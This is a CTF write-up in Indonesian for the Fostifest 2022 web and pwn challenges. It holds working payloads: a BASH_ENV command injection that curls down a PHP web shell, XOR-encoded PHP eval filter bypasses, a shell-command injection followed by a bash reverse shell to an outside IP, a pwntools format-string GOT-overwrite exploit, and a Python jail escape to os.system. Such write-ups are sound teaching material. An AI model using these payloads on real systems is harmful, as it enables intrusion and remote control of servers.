

Boys Who Cry



kosong
nyxmare
Linz

Daftar Isi

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WEB

ppp (484 Pts)

Diberikan soal dengan source code sebagai berikut.

```
← → ↻ ⚠ Not secure | 103.13.206.129:8002

<?php
if(empty($_REQUEST["include"])){
    highlight_file(__FILE__);
    exit;
}

foreach($_REQUEST['envs'] as $key => $val) {
    putenv("{key}={val}");
}

system('bash -c "echo 1"');
?>
```

Sedikit melakukan browsing, kami menemukan artikel yang mirip dengan soal <http://www.ctfiot.com/26843.html>

Sedikit membaca menggunakan google translate kami menemukan bahwa `BASH_ENV` dapat digunakan sebagai command injection.

Langsung saja kami melakukan write file untuk mendapatkan code execution
Membuat file bernama nyx.php

```
← → ↻ 🌐 103.13.206.129:8002/?envs[BASH_ENV]=$ curl%20http://stuffstuffandstuff/stuff.txt%20%20nyx.php&include=1
1
```

Kami mendapatkan flag

```
← → ↻ 🌐 103.13.206.129:8002/nyx.php?nyx=system&nyx2=cat%20/flag.txt

Fostifest{d0b5cdc33e53b89f7457a230cef81307}
```

Fostifest{d0b5cdc33e53b89f7457a230cef81307}

My Little WAF (484 pts)

Diberikan link chall <http://103.250.10.198:10001/> saat dikunjungi websitenya seperti ini.

```
← → ↻ ⚠ Not secure | 103.250.10.198:10001

<?php
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];

    if(preg_match("/[a-z0-9\s_`']/i", $cmd) || strlen($cmd) > 0x50) {
        echo "Blocked!";
    } else {
        eval($cmd);
    }
} else {
    highlight_file(__FILE__);
}

?>
```

Oke dari source code php diatas, ini merupakan eval namun hanya symbol yang diallow. Dengan php kita bisa melakukan trick seperti ini.

```
linuz@linzext: ~/Desktop/2022CTF_Archive/Fostifest
linuz@linzext:~/Desktop/2022CTF_Archive/Fostifest$ php -a
Interactive shell

php > echo urlencode("~/LINZ");
%B3%B6%B1%A5
php > echo urlencode("~/1");
%CE
php >
```

Nah hal ~("1") di php sama saja xor dengan 0xff

```
linuz@linzext: ~/Desktop/2022CTF_Archive/Fostifest
linuz@linzext:~/Desktop/2022CTF_Archive/Fostifest$ php -a
Interactive shell

php > echo urlencode(~"LINZ");
%B3%B6%B1%A5
php > echo urlencode(~"1");
%CE
php >
linuz@linzext:~/Desktop/2022CTF_Archive/Fostifest$ python3
Python 3.10.4 (main, Jun 29 2022, 12:14:53) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(~ord('1') & 0xff)
'0xce'
>>> hex(ord('1') ^ 0xff)
'0xce'
>>>
```

Karena itu kita bisa lakukan seperti ini:

```
linuz@linzext:~/Desktop/2022CTF_Archive/Fostifest/Web$ php -a
Interactive shell

php > $a = ~"print_r";
php > $b = ~"scandir";
php > $c = ~".";
php > $cmd = (~$a)((~$b)(~$c));
Array
(
    [0] => .
    [1] => ..
    [2] => flag
)
php >
```

Hal ini akan sama saja dengan **print_r(scandir("."));**

Sekarang mari kita lakukan ke server

```
33C3 CTF 2011 x 33C3 CTF 2011 x https://www... x How To Imple... x Fostifest x Boys Who Cry x 103.250.10.198 x Visualizing a x BPJS Health... x ubuntu-How x
Not secure | 103.250.10.198:10001/?cmd=~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D1))
Array ( [0] => . [1] => .. [2] => index.php )
```

Kita coba ganti ke **print_r(scandir("/"));**

[http://103.250.10.198:10001/?cmd=~%8F%8D%96%91%8B%A0%8D\)\(\(~%8C%9C%9E%91%9B%96%8D\)\(~%D0\)\)%3B](http://103.250.10.198:10001/?cmd=~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D0))%3B)

```
33C3 CTF 2016 x 33C3 CTF 2016 x https://www. x
Not secure | view-source:103.250.10.198:10001/?cmd=(~
Line wrap
1 Array
2 (
3   [0] => .
4   [1] => ..
5   [2] => .dockerenv
6   [3] => bin
7   [4] => boot
8   [5] => dev
9   [6] => etc
10  [7] => fl44gg
11  [8] => home
12  [9] => lib
13  [10] => lib64
14  [11] => media
15  [12] => mnt
16  [13] => opt
17  [14] => proc
18  [15] => root
19  [16] => run
20  [17] => sbin
21  [18] => srv
22  [19] => sys
23  [20] => tmp
24  [21] => usr
25  [22] => var
26 )
27
```

Selanjutnya tinggal **readfile("/fl44gg")**;

[http://103.250.10.198:10001/?cmd=\(~%8D%9A%9E%9B%99%96%93%9A\)\(~%D0%99%93%CB%CB%98%98\)%3B](http://103.250.10.198:10001/?cmd=(~%8D%9A%9E%9B%99%96%93%9A)(~%D0%99%93%CB%CB%98%98)%3B)

```
linuz@linzext: ~/Desktop/2022CTF_Archive/Fostifest/Web
linuz@linzext: ~/Desktop/2022CTF_Archive/Fostifest/Web x linuz@linzext: ~/Desktop/2022CTF_Archive/Fostifest/PWN/app
linuz@linzext:~/Desktop/2022CTF_Archive/Fostifest/Web$ curl "http://103.250.10.198:10001/?cmd=Fostofest{Xor_dot_xor_dot_XOORRR_DOOTTT}"
linuz@linzext:~/Desktop/2022CTF_Archive/Fostifest/Web$
```

Flag : Fostofest{Xor_dot_xor_dot_XOORRR_DOOTTT}

PWN

PyWN (356 pts)

Diberikan python source code isinya seperti ini

```
#!/usr/bin/env python2

import os, sys
import subprocess
from random import randint

class Unbuffered(object):
    def __init__(self, stream):
        self.stream = stream
    def write(self, data):
        self.stream.write(data)
        self.stream.flush()
    def writelines(self, datas):
        self.stream.writelines(datas)
        self.stream.flush()
    def __getattr__(self, attr):
        return getattr(self.stream, attr)

sys.stdout = Unbuffered(sys.stdout)

secret = randint(0, 999999)
blacklist = [" ", "|", "&", "$", "' ", "'"]

try:
    key = input("[>] Insert key to use our service: ")

    if key == secret:
        text = raw_input("[>] Plaintext: ")
        for i in blacklist:
            if i in text or len(text) > 9:
                print "[!] Not allowed!"
                exit()

        enc = "echo '{0}' | base64 | rev".format(text)
        procc = subprocess.Popen(enc, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        secc = procc.communicate()[0]
```

```

        print "[*] Ciphertext :", secc
        exit()
    else:
        print "[!] Wrong!"
except:
    print "[!] Wrong!"

```

Source code diatas dijalankan dengan python2, kita bisa bypass **key == secret** dengan python2 input() trick, yaitu tinggal input nama variabelnya saja yaitu secret.

```

linuz@linzext:~/Desktop/2022CTF_Archive/Fostifest/PWN/app$ nc 103.250.10.198 10011
[>] Insert key to use our service: secret
[>] Plaintext: asd
[*] Ciphertext : ==gCkNXY

[!] Wrong!

```

Selanjutnya program melakukan shell command, disini terdapat **command injection**, jika dilihat pada array **blacklist**, untuk symbol **quote** atau ' tidak di blacklist, melainkan **quote+space** yang di blacklist, maka dari itu kita bisa keluar dari echo atau kita bisa melakukan **';bash'** atau **';sh'** untuk mendapatkan shell.

```

linuz@linzext:~/Desktop/2022CTF_Archive/Fostifest/PWN/app$ echo '';sh''

$ id
uid=1000(linuz) gid=1000(linuz) groups=1000(linuz),4(adn),24(cdrom),27(sudo),30(dip),46(plugdev),109(kvm),122(lpadmin),134(lxd),135(sambashare),139(libvirt),999(docker)
$ whoami
linuz
$

```

Selanjutnya tinggal coba ke service nc.

```

linuz@linzext:~/Desktop/2022CTF_Archive/Fostifest/PWN/app$ echo '';sh''

$ id
uid=1000(linuz) gid=1000(linuz) groups=1000(linuz),4(adn),24(cdrom),27(sudo),30(dip),46(plugdev),109(kvm),122(lpadmin),134(lxd),135(sambashare),139(libvirt),999(docker)
$ whoami
linuz
$ exit
linuz@linzext:~/Desktop/2022CTF_Archive/Fostifest/PWN/app$ nc 103.250.10.198 10011
[>] Insert key to use our service: secret
[>] Plaintext: ';bash'
id
ls
bash -i >& /dev/tcp/139.59.114.129/8080 0>&1

root@ubuntu-s-1vcpu-2gb-sgp1-01: ~
nc -nvlp 8080
Listening on 0.0.0.0 8080
Connection received on 103.250.10.198 43330
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
nobodi@a2908482f65a:~$ ls
ls
flag.txt
fosticrypt.py
nobodi@a2908482f65a:~$ cat flag.txt
cat flag.txt
Fostifest{ezzzz_python2_pwn_cooyyyyyyy}
nobodi@a2908482f65a:~$

```

Flag : Fostifest{ezzzz_python2_pwn_cooyyyyyyy}

Leaky (484 pts)

Diberikan service netcat dan sebuah assembly code:

```
# Build ID offset = 0x380
# Snippet leaky function
mov    %rax,-0x8(%rbp)
xor     %eax,%eax
lea     -0x210(%rbp),%rax
mov     $0x200,%edx
mov     $0x0,%esi
mov     %rax,%rdi
callq   4010f0 <memset@plt>
mov     0x2dac(%rip),%rdx      # 404020 <stdin@@GLIBC_2.2.5>
lea     -0x210(%rbp),%rax
mov     $0x400,%esi
mov     %rax,%rdi
callq   401100 <fgets@plt>
lea     -0x210(%rbp),%rax
lea     0xd6e(%rip),%rdx      # 402004 <_IO_stdin_used+0x4>
mov     %rdx,%rsi
mov     %rax,%rdi
callq   401110 <strcmp@plt>    # cmp "exit"
test    %eax,%eax
je      4012bb <leaky+0x85>
lea     -0x210(%rbp),%rax
mov     %rax,%rdi
mov     $0x0,%eax
callq   4010e0 <printf@plt>
jmp     40126d <leaky+0x37>
```

Terdapat bug formasttring, untuk mengecek apakah benar ada bug formatstring atau tidak, kita coba ke service netcatnya.

```
linux@linzext:~/Desktop/2022CTF_Archive/Fostifest/PWN/Leaky$ nc 103.13.206.173 10003
Leaky-Leaky
[1] Start
[2] Exit
> 1
%p
0x402004
AAAABBBB%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAABBBB0x402004.(nil).0x65.(nil).(nil).0x4242424241414141.0x70252e70252e7025.0x252e70252
nil).(nil)
█
```

Dan ternyata benar terdapat bug format string, ini mirip dengan chall 33C3 CTF ESPR <http://bruce30262.logdown.com/posts/1255979-33c3-ctf-2016-espr>.

Oke langkah pertama adalah mengetahui libc versi berapa yang digunakan. Pada gambar diatas kita mendapatkan offset formatstring pada **%6\$p**, kita bisa gunakan ini dan **pwntools DynELF** untuk mencari libc.

```
def leak(addr):
    payload = b"%7$s.AAA"+p64(addr)
    p.sendline(payload)
    resp = p.recvuntil(".AAA")
    ret = resp[:-4:] + b"\x00"
    p.recvrepeat(0.2) # receive the rest of the string

    return ret

def find_libc():
    d = DynELF(leak, 0x400000)
    printf_addr = d.lookup('printf', 'libc')
    log.success("printf_addr: "+hex(printf_addr))

p.sendlineafter(b'> ', b'1')
find_libc()
p.interactive()
```

```
resp = p.recvuntil(".AAA")
[+] Resolving b'printf' in 'libc.so': 0x7fb1188fc2e0
[*] Build ID not found at offset 0x270
[*] Build ID not found at offset 0x174
[*] Build ID not found at offset 0x2e0
[*] Build ID not found at offset 0x370
[*] .gnu.hash/.hash, .strtab and .symtab offsets
[*] Found DT_GNU_HASH at 0x7fb1188acc10
[*] Found DT_STRTAB at 0x7fb1188acc20
[*] Found DT_SYMTAB at 0x7fb1188acc30
[*] .gnu.hash parms
[*] hash chain index
[*] hash chain
[+] printf_addr: 0x7fb1186f4770
[*] Switching to interactive mode
$
```

Didapat offset libc_printf adalah 0x770

← → ↻ 🔒 libc.rip

Powered by the [libc-database search API](#)

Search

| Symbol name | Address | |
|-------------|---------|--------|
| printf | 770 | REMOVE |
| Symbol name | Address | REMOVE |

FIND

Results

- [libc-2.27-9-omv2015.0.x86_64](#)
- [musl-1.1.22-1-omv4000.i686](#)
- [libc6_2.35-0ubuntu3.1_amd64](#)
- [libc6_2.35-0ubuntu1_amd64](#)
- [libc6_2.35-0ubuntu3_amd64](#)

Tampaknya libc yang digunakan adalah libc-2.35 dan free_hook / malloc_hook sudah dihapus disini, tapi kita masih bisa overwrite **libc_got** untuk mendapatkan shell. Full script:

```
from pwn import *
from sys import *
import binascii

context.arch = 'amd64'
HOST = '103.13.206.173'
PORT = 10003
libc = ELF("./libc.so.6")

cmd = """
b*main
"""

if(argv[1] == 'gdb'):
    gdb.attach(p,cmd)
elif(argv[1] == 'rm'):
    p = remote(HOST,PORT)

def leak(addr):
    payload = b"%7$s.AAA"+p64(addr)
    p.sendline(payload)
    resp = p.recvuntil(".AAA")
    ret = resp[:-4:] + b"\x00"
    p.recvrepeat(0.2) # receive the rest of the string

    return ret

def find_libc():
```

```

d = DynELF(leak, 0x400000)
printf_addr = d.lookup('printf', 'libc')
log.success("printf_addr: "+hex(printf_addr))
return printf_addr

def exploit(leak):
    libc.address = leak - libc.sym['printf']
    payload = fmtstr_payload(6, {libc.address+0x219060 :
libc.sym['system']}, write_size='short')
    p.sendline(payload)
    sleep(1)
    p.sendline(b';/bin/sh\x00')

p.sendlineafter(b'> ', b'1')
leak = find_libc()
exploit(leak)
p.interactive()

```

```

\x18\x7fflag.txt
leaky
leaky.c
flag.txt
leaky
leaky.c
flag.txt
leaky
leaky.c
$ ls
flag.txt
leaky
leaky.c
$ cat flag.txt
Fostifest{05db4b5df72fa2ea39fb01b3f9836f33}$

```

Flag : Fostifest{05db4b5df72fa2ea39fb01b3f9836f33}

Fostjail (496 pts)

Diberikan service netcat. Saat connect ternyata soal pyjail

```
linux@linzext:~/Desktop/2022CTF_Archive/Fostifest/PWN/Leaky$ nc 103.13.206.173 10002
PyFostJail v1.0
>>> print(dir())
Your code is broken!!!
Error: name 'dir' is not defined
>>> "
Malicious Code Detected!!!
>>> '
Malicious Code Detected!!!
>>>
Malicious Code Detected!!!
>>> print(1)
1
>>> print([].__class__.__mro__[1].__subclasses__())
[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>,
<class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'class
method'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_iterator'>, <class 'dict_keyiterator'>, <class 'dict_
reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozen
set'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiter
ator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>,
<class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'ra
nge'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>,
<class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class
'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <cla
ss 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'ty
pes.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakr
ef.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>,
<class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>,
<class 'contextvars.Context'>, <class 'contextvars.ContextVar'>, <class 'contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'ma
p'>, <class 'zip'>, <class 'frozen_importlib.ModuleLock'>, <class 'frozen_importlib.DummyModuleLock'>, <class 'frozen_importlib.ModuleLockManager'
'>, <class 'frozen_importlib.ModuleSpec'>, <class 'frozen_importlib.BuiltinImporter'>, <class 'frozen_importlib.FrozenImporter'>, <class 'frozen_imo
rtlib.ImportLockContext'>, <class 'thread.lock'>, <class 'thread.RLock'>, <class 'thread._localdummy'>, <class 'thread._local'>, <class 'io._IOBas
e'>, <class 'io.BytesIOBuffer'>, <class 'io.IncrementalNewLineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'frozen_i
mportlib_external.WindowsRegistryFinder'>, <class 'frozen_importlib_external.LoaderBasics'>, <class 'frozen_importlib_external.FileLoader'>, <class '
frozen_importlib_external.NamespacePath'>, <class 'frozen_importlib_external.NamespaceLoader'>, <class 'frozen_importlib_external.PathFinder'>, <cl
```

Quote, double quote, spasi, diblokir, dan tampaknya beberapa builtins juga di delete. Sudah banyak soal seperti ini, salah satunya ada yang persis yaitu <https://cftime.org/writeup/23298>, pada writeup tersebut ia menggunakan `os._wrap_close`, pada soal ini juga ada yaitu pada index **137**, namun pada saat saya coba

```
linux@linzext:~/Desktop/2022CTF_Archive/Fostifest/PWN/Leaky$ nc 103.13.206.173 10002
PyFostJail v1.0
>>> print([].__class__.__mro__[1].__subclasses__()[137])
<class 'os._wrap_close'>
>>> print([].__class__.__mro__[1].__subclasses__()[137].__init__
Malicious Code Detected!!!
>>> print(__init__)
Malicious Code Detected!!!
>>> print(__globals__)
Malicious Code Detected!!!
>>> █
```

Nampaknya `__init__` dan `__globals__` diblokir, kita masih bisa bypass dengan bytes `"bytes([95, 95]).decode()"`

```
linux@linzext:~/Desktop/2022CTF_Archive/Fostifest/PWN/app$ python3
Python 3.10.4 (main, Jun 29 2022, 12:14:53) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> bytes([95,95,105,110,105,116,95,95]).decode()
'__init__'
>>> █
```

Kita bisa mendapatkan **bytes** pada index ke-6.

```
>>> b=[].__class__.__mro__[1].__subclasses__()[6]
>>> print(b)
Your code is broken!!!
Error: name 'b' is not defined
>>> b=[].__class__.__mro__[1].__subclasses__()[6];print(b)
<class 'bytes'>
>>>
```

Nampaknya kita harus 1 line, oke dengan ini kita bisa mendapatkan shell tinggal ganti yang diblokir dengan bytes. Full payload:

```
b=[].__class__.__mro__[1].__subclasses__()[6];[].__class__.__mro__[1].__subclasses__()[137].__dict__[b([95,95,105,110,105,116,95,95]).decode()].__getattribute__(b([95,95,103,108,111,98,97,108,115,95,95]).decode())[b([115,121,115,116,101,109]).decode()](b([115,104]).decode())
```

```
>>> b=[].__class__.__mro__[1].__subclasses__()[6]
>>> print(b)
Your code is broken!!!
Error: name 'b' is not defined
>>> b=[].__class__.__mro__[1].__subclasses__()[6];print(b)
<class 'bytes'>
>>> b=[].__class__.__mro__[1].__subclasses__()[6];[].__class__.__mro__[1].__subclasses__()[137].__dict__[b([95,95,105,110,105,116,95,95]).decode()].__getattribute__(b([95,95,103,108,111,98,97,108,115,95,95]).decode())[b([115,121,115,116,101,109]).decode()](b([115,104]).decode())
ls
flag.txt
main.py
cat flag.txt
Fostifest{ca4f87540fead0c1d0cf8ead56a8ef14}
```

Flag : Fostifest{ca4f87540fead0c1d0cf8ead56a8ef14}

REV

CRY

BONUS

Sanity Check (50 pts)

Challenge

21 Solves

×

Sanity Check

100

Flag: Fostifest{Anjazzz_Kelazzzzzzzzz}

Flag

Submit

Flag sudah terdapat di deskripsi

Fosti Server Password (50 pts)

Challenge

20 Solves

×

Fosti Server Password 100

Gunakan password dibawah ini untuk membuka file Zip Fosti Server Password:

`fostifest_d52f925a44fe265dcf678e8da09aab79`

Flag chall ini: `Fostifest{%s} %password`

Submit

Flag sudah terdapat di deskripsi

Feedback (50 pts)

Isi form feedback

FOSTIFEST

Cybersecurity For Public Safety

FORM KRITIK DAN SARAN

linuztri@gmail.com [Switch account](#)



Fostifest{__anjazz_kelazzz__}

Back

Submit

Clear form

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Google Forms

Flag : Fostifest{__anjazz_kelazzz__}